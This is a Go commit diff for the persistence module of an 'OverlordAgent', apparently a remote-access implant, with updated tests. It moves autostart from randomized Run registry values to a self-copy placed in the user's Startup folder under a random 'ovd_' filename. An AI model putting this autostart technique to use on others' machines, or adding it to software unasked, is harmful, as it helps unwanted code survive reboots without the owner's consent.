new persistence

2026-03-11 18:55:01 -05:00
parent 8d106c0800
commit b9dccc3361
2 changed files with 158 additions and 75 deletions
@@ -16,23 +16,68 @@ import (
 )

 const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
+const startupExecutablePrefix = "ovd_"
+const cleanupExecutablePrefix = "ovlrd_"
+
 const legacyRegistryValueName = "OverlordAgent"
 const registryValuePrefix = "OverlordAgent-"

-func formatRunRegistryCommand(exePath string) string {
-	trimmed := filepath.Clean(exePath)
-	if len(trimmed) >= 2 && trimmed[0] == '"' && trimmed[len(trimmed)-1] == '"' {
-		return trimmed
-	}
-	return fmt.Sprintf("\"%s\"", trimmed)
-}
-
 func getTargetPath() (string, error) {
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
 		return "", fmt.Errorf("APPDATA environment variable not set")
 	}
-	return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
+
+	startupDir := filepath.Join(appDataDir, startupFolderRelative)
+	if existing, ok := findExistingStartupExecutable(startupDir); ok {
+		return existing, nil
+	}
+
+	name, err := generateStartupExecutableName()
+	if err != nil {
+		return "", err
+	}
+
+	return filepath.Join(startupDir, name), nil
+}
+
+func getLegacyTargetPath() (string, bool) {
+	appDataDir := os.Getenv("APPDATA")
+	if appDataDir == "" {
+		return "", false
+	}
+	return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
+}
+
+func findExistingStartupExecutable(startupDir string) (string, bool) {
+	entries, err := os.ReadDir(startupDir)
+	if err != nil {
+		return "", false
+	}
+
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := strings.ToLower(entry.Name())
+		if !strings.HasSuffix(name, ".exe") {
+			continue
+		}
+		if strings.HasPrefix(name, startupExecutablePrefix) || strings.HasPrefix(name, cleanupExecutablePrefix) {
+			return filepath.Join(startupDir, entry.Name()), true
+		}
+	}
+
+	return "", false
+}
+
+func generateStartupExecutableName() (string, error) {
+	b := make([]byte, 6)
+	if _, err := rand.Read(b); err != nil {
+		return "", fmt.Errorf("failed to generate startup executable name: %w", err)
+	}
+	return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
 }

 func install(exePath string) error {
@@ -42,24 +87,18 @@ func install(exePath string) error {
 		return err
 	}

-	overlordDir := filepath.Dir(targetPath)
-	err = os.MkdirAll(overlordDir, 0755)
+	startupDir := filepath.Dir(targetPath)
+	err = os.MkdirAll(startupDir, 0755)
 	if err != nil {
-		return fmt.Errorf("failed to create Overlord directory: %w", err)
+		return fmt.Errorf("failed to create startup directory: %w", err)
 	}

 	if err := replaceExecutable(exePath, targetPath); err != nil {
 		return err
 	}

-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
-	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
-	}
-	defer k.Close()
-
-	if err := setStartupRunValue(k, targetPath); err != nil {
-		return fmt.Errorf("failed to set registry value: %w", err)
+	if err := cleanupLegacyRunValues(); err != nil {
+		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
 	}

 	return nil
@@ -106,52 +145,90 @@ func replaceExecutable(exePath, targetPath string) error {
 }

 func configure(exePath string) error {
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+	targetPath, err := getTargetPath()
 	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
+		return err
 	}
-	defer k.Close()

-	if err := setStartupRunValue(k, exePath); err != nil {
-		return fmt.Errorf("failed to set registry value: %w", err)
+	if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		if err := replaceExecutable(exePath, targetPath); err != nil {
+			return err
+		}
+	}
+
+	if err := cleanupLegacyRunValues(); err != nil {
+		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
 	}

 	return nil
 }

 func uninstall() error {
-
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
-	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
-	}
-	defer k.Close()
-
-	if err := cleanupOverlordRunValues(k); err != nil {
+	if err := cleanupLegacyRunValues(); err != nil {
 		return fmt.Errorf("failed to clean startup registry values: %w", err)
 	}

 	appDataDir := os.Getenv("APPDATA")
-	if appDataDir != "" {
-		targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")
+	if appDataDir == "" {
+		return nil
+	}

-		os.Remove(targetPath)
+	startupDir := filepath.Join(appDataDir, startupFolderRelative)
+	if err := cleanupPrefixedExecutables(startupDir); err != nil {
+		return err
+	}
+
+	if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
+		return err
+	}
+
+	targetPath, err := getTargetPath()
+	if err == nil {
+		_ = os.Remove(targetPath)
+	}
+
+	if legacyPath, ok := getLegacyTargetPath(); ok {
+		_ = os.Remove(legacyPath)
 	}

 	return nil
 }

-func setStartupRunValue(k registry.Key, exePath string) error {
-	if err := cleanupOverlordRunValues(k); err != nil {
-		return err
-	}
-
-	name, err := generateStartupValueName()
+func cleanupPrefixedExecutables(dir string) error {
+	entries, err := os.ReadDir(dir)
 	if err != nil {
-		return err
+		if os.IsNotExist(err) {
+			return nil
+		}
+		return fmt.Errorf("failed to read startup cleanup directory %s: %w", dir, err)
 	}

-	return k.SetStringValue(name, formatRunRegistryCommand(exePath))
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := strings.ToLower(entry.Name())
+		if strings.HasPrefix(name, cleanupExecutablePrefix) || strings.HasPrefix(name, startupExecutablePrefix) {
+			if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) {
+				return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err)
+			}
+		}
+	}
+
+	return nil
+}
+
+func cleanupLegacyRunValues() error {
+	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+	if err != nil {
+		if err == registry.ErrNotExist {
+			return nil
+		}
+		return fmt.Errorf("failed to open registry key: %w", err)
+	}
+	defer k.Close()
+
+	return cleanupOverlordRunValues(k)
 }

 func cleanupOverlordRunValues(k registry.Key) error {
@@ -177,11 +254,3 @@ func isOverlordRunValueName(name string) bool {
 	}
 	return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
 }
-
-func generateStartupValueName() (string, error) {
-	b := make([]byte, 6)
-	if _, err := rand.Read(b); err != nil {
-		return "", fmt.Errorf("failed to generate startup value name: %w", err)
-	}
-	return registryValuePrefix + hex.EncodeToString(b), nil
-}
@@ -4,37 +4,51 @@
 package persistence

 import (
+	"os"
+	"path/filepath"
 	"strings"
 	"testing"
 )

-func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) {
-	in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe`
-	got := formatRunRegistryCommand(in)
-	want := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"`
-	if got != want {
-		t.Fatalf("expected %q, got %q", want, got)
-	}
-}
+func TestGetTargetPath_UsesStartupFolderAndRandomizedOvdName(t *testing.T) {
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)

-func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) {
-	in := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"`
-	got := formatRunRegistryCommand(in)
-	if got != in {
-		t.Fatalf("expected %q, got %q", in, got)
-	}
-}
-
-func TestGenerateStartupValueName(t *testing.T) {
-	name, err := generateStartupValueName()
+	got, err := getTargetPath()
 	if err != nil {
-		t.Fatalf("generateStartupValueName failed: %v", err)
+		t.Fatalf("getTargetPath failed: %v", err)
 	}
-	if !strings.HasPrefix(name, registryValuePrefix) {
-		t.Fatalf("expected prefix %q, got %q", registryValuePrefix, name)
+
+	wantDir := filepath.Join(appData, startupFolderRelative)
+	if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
+		t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got))
 	}
-	if len(name) != len(registryValuePrefix)+12 {
-		t.Fatalf("expected random suffix length 12, got name=%q", name)
+	base := strings.ToLower(filepath.Base(got))
+	if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") {
+		t.Fatalf("expected randomized ovd_*.exe name, got %q", filepath.Base(got))
+	}
+}
+
+func TestGetTargetPath_PrefersExistingPrefixedExecutable(t *testing.T) {
+	appData := t.TempDir()
+	t.Setenv("APPDATA", appData)
+	startupDir := filepath.Join(appData, startupFolderRelative)
+	if err := os.MkdirAll(startupDir, 0755); err != nil {
+		t.Fatalf("mkdir startup dir failed: %v", err)
+	}
+
+	expected := filepath.Join(startupDir, "ovlrd_existing.exe")
+	if err := os.WriteFile(expected, []byte("x"), 0644); err != nil {
+		t.Fatalf("write startup executable failed: %v", err)
+	}
+
+	got, err := getTargetPath()
+	if err != nil {
+		t.Fatalf("getTargetPath failed: %v", err)
+	}
+
+	if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) {
+		t.Fatalf("expected existing startup executable %q, got %q", expected, got)
 	}
 }